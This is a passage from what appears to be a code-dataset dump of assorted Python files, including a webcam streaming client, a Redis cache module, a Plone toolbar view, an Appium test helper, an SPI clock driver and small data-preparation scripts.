"usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 16, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 16, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 24, "usage_type": "call"}, {"api_name": "random.random", "line_number": 28, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 31, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 31, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 32, "usage_type": "call"}, {"api_name": "binascii.Error", "line_number": 41, "usage_type": "attribute"}]} +{"seq_id": "637867349", "text": "\"\"\"\nProject: FandRec\nProgrammed by: Trenton Sauer, Trenton Scott, David Williams\nLast Modified:\nDescription: Client for the camera\nNotes:\n 1. camera_client needs to be installed and run on the machine\n that will be sending the frames to the server\n Liscense:\nCopyright (c) 2018, FandRec Dev Team\nAll rights reserved.\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and/or other materials provided with the distribution.\n * Neither the name of the FandRec Dev Team nor the\n names of its contributors may be used to endorse or promote products\n derived from this software without specific prior written permission.\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL FandRec Dev Team BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\n#==============================Imports=======================================\nimport sys, ujson, cv2, imutils\nimport numpy as np\n\nfrom twisted.python import log\n\nfrom twisted.protocols.basic import NetstringReceiver\n\nfrom autobahn.twisted.websocket import WebSocketClientFactory, \\\n WebSocketClientProtocol, connectWS\nfrom twisted.internet import reactor\nfrom imutils.video import WebcamVideoStream\n#=======================Application Interface===========================\nclass CameraClientProtocol(WebSocketClientProtocol):\n \"\"\"\n Description: Handles the receiving messages from the\n\t\t server and sends the frames back.\n \"\"\"\n #raw_frame = cv2.UMat(np.empty((540, 1172, 3), np.uint8))\n\n def __init__(self):\n self.fps = 10\n\n def onOpen(self):\n self.sendFrames()\n\n def sendFrames(self):\n \"\"\"\n Description: Gets a frame from the camera then\n encodes it as a json then sends it.\n \"\"\"\n\t# Grab frame\n frame = cv2.UMat(self.factory.camera.read())\n frame = cv2.resize(frame, (640,480))\n\n\t# Compress and Package frame\n out = cv2.imencode('.jpg', frame, [cv2.IMWRITE_JPEG_QUALITY, 70])[1].tolist()\n out = ujson.dumps(out)\n\n\t# Send frame\n self.sendMessage(out.encode(\"utf8\"))\n reactor.callLater(1/self.fps, self.sendFrames)\n\n\nclass CameraClientFactory(WebSocketClientFactory):\n \"\"\"\n Description: Starts the video capture from the local kinect or camera.\n \"\"\"\n def __init__(self, addr, cam_port):\n WebSocketClientFactory.__init__(self, addr, headers={'camera_id': 'camera1'})\n print(\"Starting Camera\")\n self.camera = WebcamVideoStream(src=0).start()\n\n#=================Client Main===================================\n\ndef main():\n \"\"\"\n Description: Starts CameraClientProtocol defined above which sends\n the frames from the camera to the server\n \"\"\"\n #STEP 1: Setup the factory\n log.startLogging(sys.stdout)\n ip_address = \"127.0.0.1\"\n port_num = 8091\n\n factory = CameraClientFactory(\"ws://\" + ip_address + \":\" + str(port_num), 0)\n factory.protocol = CameraClientProtocol\n reactor.connectTCP(ip_address, port_num, factory)\n\n #STEP 2: Start the reactor\n reactor.run()\n\nif __name__ == '__main__':\n main()\n", "sub_path": "camera_client.py", "file_name": "camera_client.py", "file_ext": "py", "file_size_in_byte": 4051, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "autobahn.twisted.websocket.WebSocketClientProtocol", "line_number": 46, "usage_type": "name"}, {"api_name": "cv2.UMat", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 66, "usage_type": "call"}, {"api_name": "cv2.imencode", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.IMWRITE_JPEG_QUALITY", "line_number": 69, "usage_type": "attribute"}, {"api_name": "ujson.dumps", "line_number": 70, "usage_type": "call"}, {"api_name": "twisted.internet.reactor.callLater", "line_number": 74, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 74, "usage_type": "name"}, {"api_name": "autobahn.twisted.websocket.WebSocketClientFactory", "line_number": 77, "usage_type": "name"}, {"api_name": "autobahn.twisted.websocket.WebSocketClientFactory.__init__", "line_number": 82, "usage_type": "call"}, {"api_name": "autobahn.twisted.websocket.WebSocketClientFactory", "line_number": 82, "usage_type": "name"}, {"api_name": "imutils.video.WebcamVideoStream", "line_number": 84, "usage_type": "call"}, {"api_name": "twisted.python.log.startLogging", "line_number": 94, "usage_type": "call"}, {"api_name": "twisted.python.log", "line_number": 94, "usage_type": "name"}, {"api_name": "sys.stdout", "line_number": 94, "usage_type": "attribute"}, {"api_name": "twisted.internet.reactor.connectTCP", "line_number": 100, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 100, "usage_type": "name"}, {"api_name": "twisted.internet.reactor.run", "line_number": 103, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 103, "usage_type": "name"}]} +{"seq_id": "635045284", "text": "import redis, json, datetime, logging\nimport config\n\nlog = logging.getLogger(__name__)\n\ndef check_cache(key):\n \"\"\"\n check the cache for an object stored under the given key, and convert it\n from a string into a python object\n \"\"\"\n client = redis.StrictRedis(host=config.REDIS_CACHE_HOST, port=config.REDIS_CACHE_PORT, db=config.REDIS_CACHE_DB)\n s = client.get(key)\n \n if s is None:\n return None\n \n try:\n obj = json.loads(s)\n except ValueError as e:\n # cache is corrupt, just get rid of it\n invalidate(key)\n return None\n \n return obj\n \ndef is_stale(bibjson):\n \"\"\"\n Check to see if the bibjson record in the supplied record is stale. Look\n in bibjson['license'][n]['provenance']['date'] for all n. If the newest date\n is older than the stale time, then the record is stale. If the record does\n not have a licence, it is stale.\n \"\"\"\n # check that the record has a licence at all\n if not \"license\" in bibjson:\n return True\n \n # get the date strings of all the licences\n log.debug(\"stale check on: \" + str(bibjson))\n date_strings = [licence.get(\"provenance\", {}).get(\"date\") \n for licence in bibjson.get(\"license\", []) \n if licence.get(\"provenance\", {}).get(\"date\") is not None]\n \n # check that there were any dates, if not then the record is necessarily stale\n if len(date_strings) == 0:\n return True\n \n # convert all the viable date strings to datetimes\n dates = []\n for d in date_strings:\n try:\n dt = datetime.datetime.strptime(d, config.date_format)\n dates.append(dt)\n except ValueError as e:\n continue\n \n # check that at least one date has parsed, and if not assume that the record is stale\n if len(dates) == 0:\n return True\n \n # get the most recent date by sorting the list (reverse, most recent date first)\n dates.sort(reverse=True)\n most_recent = dates[0]\n \n # now determine if the most recent date is older or newer than the stale timeout\n td = datetime.timedelta(seconds=config.licence_stale_time)\n n = datetime.datetime.now()\n stale_date = most_recent + td\n return stale_date < n\n \ndef invalidate(key):\n \"\"\"\n remove anything identified by the supplied key from the cache\n \"\"\"\n client = redis.StrictRedis(host=config.REDIS_CACHE_HOST, port=config.REDIS_CACHE_PORT, db=config.REDIS_CACHE_DB)\n client.delete(key)\n \ndef cache(key, obj):\n \"\"\"\n take the provided python data structure, serialise it via json to a string, and\n store it at the provided key with the appropriate timeout. This may be\n required to create a new cache entry or update an existing one\n \"\"\"\n try:\n s = json.dumps(obj)\n except TypeError:\n raise CacheException(\"can only cache python objects that can be sent through json.dumps\")\n \n client = redis.StrictRedis(host=config.REDIS_CACHE_HOST, port=config.REDIS_CACHE_PORT, db=config.REDIS_CACHE_DB)\n client.setex(key, config.REDIS_CACHE_TIMEOUT, s)\n \nclass CacheException(Exception):\n def __init__(self, message):\n self.message = message\n super(CacheException, self).__init__(self, message)\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n", "sub_path": "openarticlegauge/cache.py", "file_name": "cache.py", "file_ext": "py", "file_size_in_byte": 3411, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}, {"api_name": "redis.StrictRedis", "line_number": 11, "usage_type": "call"}, {"api_name": "config.REDIS_CACHE_HOST", "line_number": 11, "usage_type": "attribute"}, {"api_name": "config.REDIS_CACHE_PORT", "line_number": 11, "usage_type": "attribute"}, {"api_name": "config.REDIS_CACHE_DB", "line_number": 11, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 51, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 51, "usage_type": "attribute"}, {"api_name": "config.date_format", "line_number": 51, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 65, "usage_type": "call"}, {"api_name": "config.licence_stale_time", "line_number": 65, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 66, "usage_type": "attribute"}, {"api_name": "redis.StrictRedis", "line_number": 74, "usage_type": "call"}, {"api_name": "config.REDIS_CACHE_HOST", "line_number": 74, "usage_type": "attribute"}, {"api_name": "config.REDIS_CACHE_PORT", "line_number": 74, "usage_type": "attribute"}, {"api_name": "config.REDIS_CACHE_DB", "line_number": 74, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 84, "usage_type": "call"}, {"api_name": "redis.StrictRedis", "line_number": 88, "usage_type": "call"}, {"api_name": "config.REDIS_CACHE_HOST", "line_number": 88, "usage_type": "attribute"}, {"api_name": "config.REDIS_CACHE_PORT", "line_number": 88, "usage_type": "attribute"}, {"api_name": "config.REDIS_CACHE_DB", "line_number": 88, "usage_type": "attribute"}, {"api_name": "config.REDIS_CACHE_TIMEOUT", "line_number": 89, "usage_type": "attribute"}]} +{"seq_id": "109235743", "text": "from zope.component import getMultiAdapter\n#from zope.component import getUtility\nfrom zope.publisher.browser import BrowserView\n#from plone.registry.interfaces import IRegistry\nfrom plone.memoize.instance import memoize\nfrom plone.app.layout.viewlets.common import PersonalBarViewlet as BasePersonalBarViewlet\nfrom Acquisition import aq_inner\nfrom urllib import unquote\n\n#from Acquisition import aq_base\nfrom AccessControl import getSecurityManager\n#from Products.CMFCore.utils import getToolByName\n#from Products.CMFPlone.interfaces import IPloneSiteRoot\nfrom Products.Five.browser.pagetemplatefile import ViewPageTemplateFile\n\n\nclass Toolbar(BrowserView):\n \"\"\"The view containing the overlay toolbar\n \"\"\"\n\n def __call__(self):\n # Disable theming\n self.request.response.setHeader('X-Theme-Disabled', 'True')\n\n # Set the CMSUI skin so that we get the correct resources\n self.context.changeSkin('toolbar', self.request)\n\n # Commonly useful variables\n self.securityManager = getSecurityManager()\n self.anonymous = self.portalState.anonymous()\n self.tools = getMultiAdapter((self.context, self.request), name=u'plone_tools')\n\n # Render the template\n return self.index()\n\n # Personal actions\n\n @property\n @memoize\n def contextState(self):\n return getMultiAdapter((self.context, self.request), name=u'plone_context_state')\n\n @property\n @memoize\n def portalState(self):\n return getMultiAdapter((self.context, self.request), name=u'plone_portal_state')\n\n @memoize\n def personalActions(self):\n \"\"\"Get the personal actions\n \"\"\"\n actions = []\n for action in self.contextState.actions('user'):\n actions.append({\n 'id': action['id'],\n 'url': action['url'],\n 'title': action['title'],\n 'description': action['description'],\n })\n\n return actions\n\n @memoize\n def userName(self):\n \"\"\"Get the username of the currently logged in user\n \"\"\"\n if self.anonymous:\n return None\n\n member = self.portalState.member()\n userid = member.getId()\n\n membership = self.tools.membership()\n memberInfo = membership.getMemberInfo(userid)\n\n fullname = userid\n\n # Member info is None if there's no Plone user object, as when using OpenID.\n if memberInfo is not None:\n fullname = memberInfo.get('fullname', '') or fullname\n\n return fullname\n\n @memoize\n def userHomeLinkURL(self):\n \"\"\"Get the URL of the user's home page (profile age)\n \"\"\"\n member = self.portalState.member()\n userid = member.getId()\n return \"%s/author/%s\" % (self.portalState.navigation_root_url(), userid)\n\n @memoize\n def userPortrait(self):\n \"\"\"Get the URL of the user's portrait\n \"\"\"\n\n member = self.portalState.member()\n membership = self.tools.membership()\n portrait = membership.getPersonalPortrait(member.getId());\n if portrait is not None:\n return portrait.absolute_url()\n\n @memoize\n def workflowState(self):\n \"\"\"Get the name of the workflow state\n \"\"\"\n state = self.contextState.workflow_state()\n if state is None:\n return None\n workflows = self.tools.workflow().getWorkflowsFor(self.context)\n if workflows:\n for w in workflows:\n if state in w.states:\n return w.states[state].title or state\n return state\n\n @memoize\n def editLink(self):\n \"\"\"Get the URL of the edit action - taking locking into account\n \"\"\"\n if not self.securityManager.checkPermission('Modify portal content', self.context):\n return None\n if self.contextState.is_locked():\n return self.context.absolute_url() + \"/@@toolbar-lock-info\"\n objectActions = self.contextState.actions('object')\n for action in objectActions:\n if action['id'] == self.settings.editActionId:\n return \"%s?last_referer=%s\" % (action['url'], self.context.absolute_url())\n return None\n\n @memoize\n def settingsActions(self):\n \"\"\"Render every action other than the excluded ones (edit, view).\n Use the action icon if applicable, but fall back on the default icon.\n \"\"\"\n\n actions = []\n objectActions = self.contextState.actions('object')\n\n defaultIcon = self.portalState.navigation_root_url() + self.settings.defaultActionIcon\n\n for action in objectActions:\n if action['id'] in self.settings.excludedActionIds:\n continue\n\n icon = action['icon']\n if not icon:\n icon = defaultIcon\n\n actions.append({\n 'id': action['id'],\n 'url': action['url'],\n 'title': action['title'],\n 'description': action['description'],\n 'icon': icon,\n })\n\n return actions\n\n @memoize\n def baseURL(self):\n return self.context.absolute_url()\n\n @memoize\n def prepareObjectTabs(self, default_tab='view',\n sort_first=['folderContents']):\n \"\"\"Prepare the object tabs by determining their order and working\n out which tab is selected. Used in global_contentviews.pt\n \"\"\"\n context = aq_inner(self.context)\n context_url = context.absolute_url()\n context_fti = context.getTypeInfo()\n\n context_state = getMultiAdapter(\n (context, self.request), name=u'plone_context_state')\n actions = context_state.actions\n\n action_list = []\n if context_state.is_structural_folder():\n action_list = actions('folder')\n action_list.extend(actions('object'))\n\n tabs = []\n found_selected = False\n fallback_action = None\n\n # we use the context-acquired request object here, which is\n # different from the request fetching the tile HTML\n request_url = self.context.REQUEST['ACTUAL_URL']\n request_url_path = request_url[len(context_url):]\n\n if request_url_path.startswith('/'):\n request_url_path = request_url_path[1:]\n\n for action in action_list:\n item = {'title': action['title'],\n 'id': action['id'],\n 'url': '',\n 'selected': False}\n\n action_url = action['url'].strip()\n starts = action_url.startswith\n if starts('http') or starts('javascript'):\n item['url'] = action_url\n else:\n item['url'] = '%s/%s' % (context_url, action_url)\n\n action_method = item['url'].split('/')[-1]\n\n # Action method may be a method alias:\n # Attempt to resolve to a template.\n action_method = context_fti.queryMethodID(\n action_method, default=action_method)\n if action_method:\n request_action = unquote(request_url_path)\n request_action = context_fti.queryMethodID(\n request_action, default=request_action)\n if action_method == request_action:\n item['selected'] = True\n found_selected = True\n\n current_id = item['id']\n if current_id == default_tab:\n fallback_action = item\n\n tabs.append(item)\n\n if not found_selected and fallback_action is not None:\n fallback_action['selected'] = True\n\n def sortOrder(tab):\n try:\n return sort_first.index(tab['id'])\n except ValueError:\n return 255\n\n tabs.sort(key=sortOrder)\n return tabs\n\n def object_actions(self):\n context = aq_inner(self.context)\n context_state = getMultiAdapter((context, self.request),\n name=u'plone_context_state')\n\n return context_state.actions('object_actions')\n\n def icon(self, action):\n return action.get('icon', None)\n\n\nclass PersonalBarViewlet(BasePersonalBarViewlet):\n\n index = ViewPageTemplateFile('templates/personal_bar.pt')\n", "sub_path": "plone/app/toolbar/toolbar.py", "file_name": "toolbar.py", "file_ext": "py", "file_size_in_byte": 8306, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "zope.publisher.browser.BrowserView", "line_number": 17, "usage_type": "name"}, {"api_name": "AccessControl.getSecurityManager", "line_number": 29, "usage_type": "call"}, {"api_name": "zope.component.getMultiAdapter", "line_number": 31, "usage_type": "call"}, {"api_name": "zope.component.getMultiAdapter", "line_number": 41, "usage_type": "call"}, {"api_name": "plone.memoize.instance.memoize", "line_number": 39, "usage_type": "name"}, {"api_name": "zope.component.getMultiAdapter", "line_number": 46, "usage_type": "call"}, {"api_name": "plone.memoize.instance.memoize", "line_number": 44, "usage_type": "name"}, {"api_name": "plone.memoize.instance.memoize", "line_number": 48, "usage_type": "name"}, {"api_name": "plone.memoize.instance.memoize", "line_number": 63, "usage_type": "name"}, {"api_name": "plone.memoize.instance.memoize", "line_number": 84, "usage_type": "name"}, {"api_name": "plone.memoize.instance.memoize", "line_number": 92, "usage_type": "name"}, {"api_name": "plone.memoize.instance.memoize", "line_number": 103, "usage_type": "name"}, {"api_name": "plone.memoize.instance.memoize", "line_number": 117, "usage_type": "name"}, {"api_name": "plone.memoize.instance.memoize", "line_number": 131, "usage_type": "name"}, {"api_name": "plone.memoize.instance.memoize", "line_number": 160, "usage_type": "name"}, {"api_name": "Acquisition.aq_inner", "line_number": 170, "usage_type": "call"}, {"api_name": "zope.component.getMultiAdapter", "line_number": 174, "usage_type": "call"}, {"api_name": "urllib.unquote", "line_number": 215, "usage_type": "call"}, {"api_name": "plone.memoize.instance.memoize", "line_number": 164, "usage_type": "name"}, {"api_name": "Acquisition.aq_inner", "line_number": 241, "usage_type": "call"}, {"api_name": "zope.component.getMultiAdapter", "line_number": 242, "usage_type": "call"}, {"api_name": "plone.app.layout.viewlets.common.PersonalBarViewlet", "line_number": 251, "usage_type": "name"}, {"api_name": "Products.Five.browser.pagetemplatefile.ViewPageTemplateFile", "line_number": 253, "usage_type": "call"}]} +{"seq_id": "7607897", "text": "import scipy.stats as stats\nimport sys\nimport numpy as np\nimport tqdm\nfrom sklearn.utils.extmath import softmax\nimport h5py\nimport matplotlib.pyplot as plt\nfrom itertools import permutations\ndata=['Kommission', 'Kommission@@', 'Kommissions@@', 'Kommiss@@', 'Kommissionspräsi@@',\n 'Kommissionspräsident', 'Rat', 'Parlament', 'Kommissionspräsidenten',\n 'Kommissionsvorschlag', 'Kommissionsmitgli@@', 'Kommissionsmitglieder',\n 'Kommissionsmitglied', 'Kommissar', 'Kommissarin', 'Berichterstatterin',\n 'Mitgliedstaaten', 'Parlaments', 'Vorschlag', 'Berichterstatters']\n\n\n\nsample_width = len(data[0])\n\nx = np.arange(sample_width)\n\n\nmode = 'gaussian'\n\ndef scatter(a, dim, index, b): # a inplace\n expanded_index = tuple([index if dim==i else np.arange(a.shape[i]).reshape([-1 if i==j else 1 for j in range(a.ndim)]) for i in range(a.ndim)])\n a[expanded_index] = b\n print(\"a;\",a)\n print(expanded_index)\n\nif mode == 'gaussian':\n std = 1\n offset = 0\n mean = 0\n sample_width = 0\n softmax_position = \"presoftmax\"\n softmax_temperature = 1\n output_path = \"out.txt\"\n\n distribution_func = stats.norm(mean, std)\n\nelif mode == 'linear':\n k = 0\n b = 1.0\n offset = 0\n sample_width = 0\n softmax_position = 0\n\nfigsize = 20, 10\nfigure, ax = plt.subplots(figsize=figsize)\n\ny_sample = distribution_func.pdf(x)\nprint(y_sample)\ny_sample = softmax(np.expand_dims(y_sample,0)).squeeze(0)\ny_sample = y_sample[:10]\nprint(len(y_sample))\nplt.plot(data[:len(y_sample)], y_sample, marker=\"o\")\nplt.show()\n\n\"\"\"y_sample=[[2,2,2,2,2.0,0,0,0,0,0]]\ny_sample=softmax(y_sample)\nplt.plot(data[:len(y_sample[0])], y_sample[0], marker=\"o\")\nprint(data)\nplt.show()\"\"\"\n\nprint(y_sample)", "sub_path": "D2GPo/extra_processing.py", "file_name": "extra_processing.py", "file_ext": "py", "file_size_in_byte": 1710, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.arange", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 25, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 39, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "sklearn.utils.extmath.softmax", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}]} +{"seq_id": "231485389", "text": "from baseView.baseView import BaseView\nfrom selenium.webdriver.common.by import By\nimport os\nimport time\n\nclass Common(BaseView):\n\tcancelBtn = (By.ID, 'android:id/button2')\n\tskiptBtn=(By.ID,'com.tal.kaoyan:id/tv_skip')\n\n\n\tdef check_cancelBtn(self):\n\t\ttry:\n\t\t\tcancelBtn=self.ele_is_visibility(self.cancelBtn)\n\t\texcept:\n\t\t\tself.logger.info('没有取消升级按钮')\n\t\telse:\n\t\t\tcancelBtn.click()\n\n\tdef check_skiptBtn(self):\n\t\ttry:\n\t\t\tskiptBtn=self.ele_is_visibility(self.skiptBtn)\n\t\texcept:\n\t\t\tself.logger.info('没有跳过按钮')\n\t\telse:\n\t\t\tskiptBtn.click()\n\n\tdef get_size(self):\n\t\tx = self.driver.get_window_size()['width']\n\t\ty = self.driver.get_window_size()['height']\n\t\treturn x, y\n\n\tdef swipeLeft(self):\n\t\tsize = self.get_size()\n\t\tx1 = int(size[0] * 0.9)\n\t\ty = int(size[1] * 0.5)\n\t\tx2 = int(size[0] * 0.2)\n\t\tself.driver.swipe(x1, y, x2, y, 1000)\n\n\tdef getTime(self):\n\t\treturn time.strftime(\"%Y-%m-%d %H_%M_%S\")\n\n\tdef getScreenShot(self,text):\n\t\ttime=self.getTime()\n\t\timage_file=os.path.dirname(os.path.dirname(__file__))+'/screenshots/%s_%s.png' %(text,time)\n\t\tself.logger.info('get %s screenshot' %text)\n\t\tself.driver.get_screenshot_as_file(image_file)\n\nif __name__=='__main__':\n\tcommon=Common()\n\tcommon.check_cancelBtn()\n\tcommon.check_skiptBtn()\n\tcommon.getScreenShot('登录页面截图')", "sub_path": "appium_05test/common/common_fun.py", "file_name": "common_fun.py", "file_ext": "py", "file_size_in_byte": 1298, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "baseView.baseView.BaseView", "line_number": 6, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 7, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 7, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 8, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 8, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}]} +{"seq_id": "643468222", "text": "import spidev\n\n\nclass Clock:\n\n def __init__(self, hora_inicial):\n self.spi = spidev.SpiDev()\n self.spi.open(0,1)\n self.spi.max_speed_hz = 312500\n self.spi.mode = 1\n self.spi.cshigh = True\n self.spi.xfer2([0x8F, 0x00])\n self.spi.xfer2( 0x80 + hora_inicial)\n\n def cambiar_hora(self, hora):\n self.spi.xfer2(0x80 + hora)\n\n def devolver_hora(self):\n datos = self.spi.xfer2( [0x00, 1, 2, 3, 4, 5, 6, 7] )\n del datos[4]\n del datos[0]\n datos[0], datos[2] = datos[2], datos[0]\n hora = self.hexa_to_dec(datos)\n return hora\n\n def hexa_to_dec(self, hex_numbers):\n dec_numbers = []\n for hex_number in hex_numbers:\n MSB_number = hex_number >> 4\n LSB_number = hex_number & 0x0F\n dec_numbers.append( MSB_number * 10 + LSB_number )\n return dec_numbers\n ", "sub_path": "3-Proyecto_FInal/Modulos/clock.py", "file_name": "clock.py", "file_ext": "py", "file_size_in_byte": 903, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "spidev.SpiDev", "line_number": 7, "usage_type": "call"}]} +{"seq_id": "437366188", "text": "import pandas as pd\nimport argparse\nimport os\n\nparser = argparse.ArgumentParser(description='Small script to create sample from given dataset')\nparser.add_argument('input_path', metavar='P', type=str, nargs='?',\n help='path for dataset need to be sampled')\nparser.add_argument('--n', metavar='N', type=int, nargs='?', default=1000,\n help='number of data counts')\nparser.add_argument('--output_path', metavar='O', type=str, nargs='?', default=None,\n help='output path for new sample')\nparser.add_argument('--choice', metavar='C', type=str, nargs='?', default='straight',\n help='choose straight or random')\n\n\n\nargs = parser.parse_args()\nif args.output_path is None:\n args.output_path = os.path.join('/'.join(args.input_path.split('/')[:-1]), # drop filename\n 'sample_{}_{}.csv'.format(args.n, args.choice))\n\ndf = pd.read_csv(args.input_path)\nif args.choice == 'straight':\n df.iloc[:args.n].to_csv(args.output_path, index=False)\nif args.choice == 'random':\n df.sample(n=args.n).to_csv(args.output_path, index=False)\n", "sub_path": "src/old code base/dataset_related/dataset_sampler.py", "file_name": "dataset_sampler.py", "file_ext": "py", "file_size_in_byte": 1149, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "595049888", "text": "#!/usr/bin/env python3\n\"\"\"Script used to download the ANTs data from the storage server.\n\nScript to download all the UK BIOBANK files preprocessed using the\nscripts available at the imaging_preprocessing_ANTs folder.\n\nNOTE: Only for internal use at the Machine Learning in Mental Health Lab.\n\"\"\"\nimport argparse\nfrom pathlib import Path\nfrom shutil import copyfile\n\nPROJECT_ROOT = Path.cwd()\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-N', '--nas_path',\n dest='nas_path_str',\n help='Path to the Network Attached Storage system.')\n\nparser.add_argument('-S', '--scanner_name',\n dest='scanner_name',\n help='Name of the scanner.')\n\nparser.add_argument('-O', '--output_path',\n dest='output_path_str',\n help='Path to the local output folder.')\n\nargs = parser.parse_args()\n\n\ndef main(nas_path_str, scanner_name, output_path_str):\n \"\"\"Perform download of selected datasets from the network-attached storage.\"\"\"\n nas_path = Path(nas_path_str)\n output_path = Path(output_path_str)\n\n dataset_name = 'BIOBANK'\n\n dataset_output_path = output_path / dataset_name\n dataset_output_path.mkdir(exist_ok=True)\n\n selected_path = nas_path / 'ANTS_NonLinear_preprocessed' / dataset_name / scanner_name\n\n for file_path in selected_path.glob('*.nii.gz'):\n print(file_path)\n copyfile(str(file_path), str(dataset_output_path / file_path.name))\n\n\nif __name__ == '__main__':\n main(args.nas_path_str, args.scanner_name, args.output_path_str)\n", "sub_path": "src/download/download_ants_data.py", "file_name": "download_ants_data.py", "file_ext": "py", "file_size_in_byte": 1583, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pathlib.Path.cwd", "line_number": 13, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 13, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 15, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 34, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 35, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "648838767", "text": "import numpy as np\nimport pandas as pd\n\n\nbatch_size = 16\nen_max_length = 10\nzh_max_length = 15\nhidden = 256\nSAMPLE = 5000\n\nimport pickle\ndef save_obj(obj, name):\n with open(f'./output/{name}.pkl', 'wb') as f:\n pickle.dump(obj, f, pickle.HIGHEST_PROTOCOL)\n\ndef load_obj(name):\n with open(f'./output/{name}.pkl', 'rb') as f:\n return pickle.load(f)\n\n\nclass Pre_Pro():\n def __init__(self, symbol):\n self.symbol = symbol\n\n def process_en(self, sen):\n for s in self.symbol:\n sen = sen.replace(s, ' ' + s + ' ')\n return np.array(sen.split(), dtype=str)\n\n def process_zh(self, sen, mode):\n if mode == 'org':\n return np.array([''] + list(sen) + [''], dtype=str)\n elif mode == 'dec_in':\n return np.array([''] + list(sen), dtype=str)\n elif mode == 'dec_out':\n return np.array(list(sen) + [''], dtype=str)\n\n\ndef get_data(path):\n data = pd.read_table(path, header=None)\n data.columns = ['inputs', 'targets']\n symbol = ['.', ',', '!', '?', '\"', ':', ';',\n '。', '，', '！', '？', '“', '”', '：', '；']\n pre_pro = 